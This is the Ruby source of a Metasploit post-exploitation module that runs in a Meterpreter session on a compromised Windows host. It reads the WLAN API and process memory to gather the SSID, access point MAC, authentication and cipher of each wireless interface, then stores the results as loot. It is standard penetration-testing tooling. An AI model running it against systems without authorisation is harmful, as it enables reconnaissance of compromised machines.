This module gathers information about the current connection on each wireless lan interface on the target machine.
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Post
include Msf::Auxiliary::Report
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Windows Gather Wireless Current Connection Info',
'Description' => %q{
This module gathers information about the current connection on each
wireless lan interface on the target machine.
},
'License' => MSF_LICENSE,
'Author' => ['theLightCosine'],
'Platform' => [ 'win' ],
'SessionTypes' => [ 'meterpreter' ],
'Compat' => {
'Meterpreter' => {
'Commands' => %w[
stdapi_railgun_api
stdapi_sys_process_attach
stdapi_sys_process_getpid
]
}
}
)
)
end
def run
# Opens memory access into the host process
mypid = client.sys.process.getpid
@host_process = client.sys.process.open(mypid, PROCESS_ALL_ACCESS)
@wlanapi = client.railgun.wlanapi
wlan_connections = "Wireless LAN Active Connections: \n"
wlan_handle = open_handle
unless wlan_handle
print_error("Couldn't open WlanAPI Handle. WLAN API may not be installed on target")
print_error('On Windows XP this could also mean the Wireless Zero Configuration Service is turned off')
return
end
wlan_iflist = enum_interfaces(wlan_handle)
wlan_iflist.each do |interface|
connect_info = query_current_connection(wlan_handle, interface['guid'])
guid = guid_to_string(interface['guid'])
wlan_connection = "GUID: #{guid} \nDescription: #{interface['description']} \nState: #{interface['state']}\n"
if connect_info
wlan_connection << "\tMode: #{connect_info['mode']} \n\tProfile: #{connect_info['profile']} \n"
wlan_connection << "\tSSID: #{connect_info['ssid']} \n\tAP MAC: #{connect_info['bssid']} \n"
wlan_connection << "\tBSS Type: #{connect_info['type']} \n\tPhysical Type: #{connect_info['physical']} \n"
wlan_connection << "\tSignal Strength: #{connect_info['signal']} \n\tRX Rate: #{connect_info['rxrate']} \n"
wlan_connection << "\tTX Rate: #{connect_info['txrate']} \n\tSecurity Enabled: #{connect_info['security']} \n"
wlan_connection << "\toneX Enabled: #{connect_info['oneX']} \n\tAuthentication Algorithm: #{connect_info['auth']} \n"
wlan_connection << "\tCipher Algorithm: #{connect_info['cipher']} \n"
else
wlan_connection << "\tThis interface is not currently connected to a network\n"
end
print_good(wlan_connection)
wlan_connections << wlan_connection
end
wlan_connections.gsub!(/\x00/, '')
store_loot('host.windows.wlan.connections', 'text/plain', session, wlan_connections, 'wlan_connections.txt', 'Wireless LAN Connections')
# close the Wlan API Handle
closehandle = @wlanapi.WlanCloseHandle(wlan_handle, nil)
if closehandle['return'] == 0
print_status('WlanAPI Handle Closed Successfully')
else
print_error('There was an error closing the Handle')
end
end
def open_handle
begin
wlhandle = @wlanapi.WlanOpenHandle(2, nil, 4, 4)
rescue StandardError
return nil
end
return wlhandle['phClientHandle']
end
def query_current_connection(wlan_handle, guid)
connection = {}
conn_info = @wlanapi.WlanQueryInterface(wlan_handle, guid, 7, nil, 4, 4, nil)
# Grab the pointer to our data structure. We skip voer the Interface State since we already have it
# We interpret the connection mode used first
pointer = conn_info['ppData']
pointer = (pointer + 4)
mode = @host_process.memory.read(pointer, 4)
mode = mode.unpack('V')[0]
case mode
when 0
connection['mode'] = 'A profile is used to make the connection.'
when 1
connection['mode'] = 'A temporary profile is used to make the connection.'
when 2
connection['mode'] = 'Secure discovery is used to make the connection.'
when 3
connection['mode'] = 'Unsecure discovery is used to make the connection.'
when 4
connection['mode'] = 'connection initiated by wireless service automatically using a persistent profile.'
when 5
connection['mode'] = 'Invalid connection mode.'
else
connection['state'] = 'Unknown connection Mode.'
end
# Grab the wirelessprofile name used in the connection
pointer = (pointer + 4)
profile = @host_process.memory.read(pointer, 512)
connection['profile'] = profile.gsub(/\x00/, '')
# Check the size of the SSID value. If we get nothing back, the interface is not currently connected
# We return nil and deal with the results back in the calling function
pointer = (pointer + 512)
len_ssid = @host_process.memory.read(pointer, 4)
unless len_ssid.unpack('V')[0]
return nil
end
# Grabs the SSID of the BSS connected to
pointer = (pointer + 4)
ssid = @host_process.memory.read(pointer, 32)
connection['ssid'] = ssid.gsub(/\x00/, '')
# Grabs what type of a BSS this is and itnerpretes it into human readable
pointer = (pointer + 32)
bsstype = @host_process.memory.read(pointer, 4)
bsstype = bsstype.unpack('V')[0]
case bsstype
when 1
connection['type'] = 'Infrastructure'
when 2
connection['type'] = 'Independent'
when 3
connection['type'] = 'Any'
else
connection['type'] = 'Unknown BSS Type'
end
# Grabs the BSS MAC address
pointer = (pointer + 4)
bssid = @host_process.memory.read(pointer, 6)
bssid = bssid.unpack('H*')[0]
bssid.insert(2, ':')
bssid.insert(5, ':')
bssid.insert(8, ':')
bssid.insert(11, ':')
bssid.insert(14, ':')
connection['bssid'] = bssid
# Grabs the physical association type and interprets it into human readable
pointer = (pointer + 8)
phy_type = @host_process.memory.read(pointer, 4)
phy_type = phy_type.unpack('V')[0]
case phy_type
when 1
connection['physical'] = 'Frequency-hopping spread-spectrum (FHSS)'
when 2
connection['physical'] = 'Direct sequence spread spectrum (DSSS)'
when 3
connection['physical'] = 'Infrared (IR) baseband'
when 4
connection['physical'] = 'Orthogonal frequency division multiplexing (OFDM)'
when 5
connection['physical'] = 'High-rate DSSS (HRDSSS)'
when 6
connection['physical'] = 'Extended rate PHY type'
when 7
connection['physical'] = '802.11n PHY type'
else
connection['physical'] = 'Unknown Association Type'
end
# Grabs the signal strength value
pointer = (pointer + 8)
signal = @host_process.memory.read(pointer, 4)
connection['signal'] = signal.unpack('V')[0]
# Grabs the recieve rate value
pointer = (pointer + 4)
rxrate = @host_process.memory.read(pointer, 4)
connection['rxrate'] = rxrate.unpack('V')[0]
# Grabs the transmit rate value
pointer = (pointer + 4)
txrate = @host_process.memory.read(pointer, 4)
connection['txrate'] = txrate.unpack('V')[0]
# Checks if security is enabled on this BSS
pointer = (pointer + 4)
security_enabled = @host_process.memory.read(pointer, 4)
if security_enabled.unpack('V')[0] == 1
connection['security'] = 'Yes'
else
connection['security'] = 'No'
end
# Checks of 802.1x Authentication is used
pointer = (pointer + 4)
onex = @host_process.memory.read(pointer, 4)
if onex.unpack('V')[0] == 1
connection['oneX'] = 'Yes'
else
connection['oneX'] = 'No'
end
# Determines wat Authentication Algorithm is being used
pointer = (pointer + 4)
algo = @host_process.memory.read(pointer, 4)
algo = algo.unpack('V')[0]
case algo
when 1
connection['auth'] = '802.11 Open'
when 2
connection['auth'] = '802.11 Shared'
when 3
connection['auth'] = 'WPA'
when 4
connection['auth'] = 'WPA-PSK'
when 5
connection['auth'] = 'WPA-None'
when 6
connection['auth'] = 'RSNA'
when 7
connection['auth'] = 'RSNA with PSK'
else
connection['auth'] = 'Unknown Algorithm'
end
# Determines what Cipher is being used
pointer = (pointer + 4)
cipher = @host_process.memory.read(pointer, 4)
cipher = cipher.unpack('V')[0]
case cipher
when 0
connection['cipher'] = 'None'
when 1
connection['cipher'] = 'WEP-40'
when 2
connection['cipher'] = 'TKIP'
when 4
connection['cipher'] = 'CCMP'
when 5
connection['cipher'] = 'WEP-104'
when 256
connection['cipher'] = 'Use Group Key'
when 257
connection['cipher'] = 'WEP'
else
connection['cipher'] = 'Unknown Cipher'
end
return connection
end
def enum_interfaces(wlan_handle)
iflist = @wlanapi.WlanEnumInterfaces(wlan_handle, nil, 4)
pointer = iflist['ppInterfaceList']
numifs = @host_process.memory.read(pointer, 4)
numifs = numifs.unpack('V')[0]
interfaces = []
# Set the pointer ahead to the first element in the array
pointer = (pointer + 8)
(1..numifs).each do |_i|
interface = {}
# Read the GUID (16 bytes)
interface['guid'] = @host_process.memory.read(pointer, 16)
pointer = (pointer + 16)
# Read the description(up to 512 bytes)
interface['description'] = @host_process.memory.read(pointer, 512)
pointer = (pointer + 512)
# Read the state of the interface (4 bytes)
state = @host_process.memory.read(pointer, 4)
pointer = (pointer + 4)
# Turn the state into human readable form
state = state.unpack('V')[0]
case state
when 0
interface['state'] = 'The interface is not ready to operate.'
when 1
interface['state'] = 'The interface is connected to a network.'
when 2
interface['state'] = 'The interface is the first node in an ad hoc network. No peer has connected.'
when 3
interface['state'] = 'The interface is disconnecting from the current network.'
when 4
interface['state'] = 'The interface is not connected to any network.'
when 5
interface['state'] = 'The interface is attempting to associate with a network.'
when 6
interface['state'] = 'Auto configuration is discovering the settings for the network.'
when 7
interface['state'] = 'The interface is in the process of authenticating.'
else
interface['state'] = 'Unknown State'
end
interfaces << interface
end
return interfaces
end
# Convert the GUID to human readable form
def guid_to_string(guid)
aguid = guid.unpack('H*')[0]
sguid = '{' + aguid[6, 2] + aguid[4, 2] + aguid[2, 2] + aguid[0, 2]
sguid << '-' + aguid[10, 2] + aguid[8, 2] + '-' + aguid[14, 2] + aguid[12, 2] + '-' + aguid[16, 4]
sguid << '-' + aguid[20, 12] + '}'
return sguid
end
end